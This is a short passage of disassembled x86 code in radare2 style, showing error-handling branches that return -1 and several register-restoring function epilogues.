je 0x404ca1
imul ebx, dword [esp + 4]
mov edx, ebp
call fcn.00404ee0
cmp eax, 0xffffffff
jne 0x404cba
mov eax, ecx
call fcn.00401a70
mov eax, 0xe
call fcn.00403bf1
mov eax, 0xffffffff
add esp, 0x14
pop ebp
pop edi
pop esi
pop edx
pop ecx
pop ebx
ret
mov eax, 5
call fcn.00403bf1
mov eax, 0xffffffff
add esp, 0x14
pop ebp
pop edi
pop esi
pop edx
pop ecx
pop ebx
ret
mov eax, ecx
call fcn.00404f60
add esp, 0x14
pop ebp
pop edi
pop esi
pop edx
pop ecx
pop ebx
ret